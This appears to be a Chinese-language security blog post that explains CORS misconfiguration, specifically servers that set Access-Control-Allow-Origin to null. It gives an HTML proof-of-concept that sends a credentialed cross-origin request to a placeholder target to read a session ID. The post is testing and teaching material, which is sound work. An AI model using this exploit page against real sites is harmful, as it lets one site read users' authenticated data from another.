菜鸟追梦

Web业务安全测试—CORS跨域资源共享漏洞

2018-07-24  本文已影响163人  Magicknight

CORS跨域共享漏洞的定义

同源策略:

生活总有例外,实践中有一些场景需要跨域的读写,所以在XMLHttpRequest v2标准下,提出了CORS(Cross Origin Resourse-Sharing)的模型,试图提供安全方便的跨域读写资源。目前主流浏览器均支持CORS。

在测试过程发现,当A网站设置Access-Control-Allow-Origin:null的时候,B站能够读取A站的敏感数据。此漏洞曾在黑客大会上爆过https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/并未引起太多关注。
POC如下:

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://target.com/info/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

Post请求也能获取敏感数据。

上一篇下一篇

猜你喜欢

热点阅读